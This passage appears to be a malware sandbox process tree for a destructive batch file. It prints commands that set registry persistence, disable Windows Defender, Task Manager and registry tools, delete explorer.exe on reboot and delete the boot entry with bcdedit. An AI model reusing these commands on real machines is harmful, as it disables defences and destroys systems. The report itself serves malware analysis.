        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:9488
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6940
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1516
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8068
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:8852
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3988
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:6980
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:864
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8204
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:4932
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8272
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9168
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:7496
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6996
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7540
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8648
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:9388
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:8432
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:6324
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5424
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:4956
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2940
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:4716
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4176
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:3760
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:3384
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:4204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:5440
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        
        PID:5360
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:228
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1248
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:4368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        
        PID:2116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:4824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:5112
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1328
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1980
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5784
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2188
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:2852
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5180
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6948
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:3816
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9840
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4128
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3220
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6892
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:4524
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        Executes a command shell one-liner
        
        PID:3840
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:1876
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7716
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7740
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8924
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:5820
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:5056
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7372
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8068
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2196
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6700
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:2848
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        Executes a command shell one-liner
        
        PID:836
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5452
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7760
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:2912
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8836
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9304
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:3488
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6288
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2784
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6216
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:2132
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2936
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:4420
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6644
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:1876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7492
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8448
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10220
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7840
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8092
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9720
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6888
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9996
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:4668
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:3912
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7392
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8028
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6280
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:4896
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4748
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9952
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8840
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9224
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6268
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:7596
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        Executes a command shell one-liner
        
        PID:1116
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2152
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6256
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:4896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7664
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:3296
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10076
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9100
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:9220
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5788
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8756
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:1936
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:5672
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5872
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1808
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:2248
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7488
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8576
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8968
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8428
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4572
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4720
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:5764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:9160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        10⤵
        
        PID:7472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:5156
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3132
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:4200
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6500
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7352
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:8784
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:9196
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3264
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:3900
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3320
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:4192
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4112
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:5404
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:3960
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:3964
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4276
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:2480
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1612
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3508
        
        C:\Windows\system32\reg.exe
        
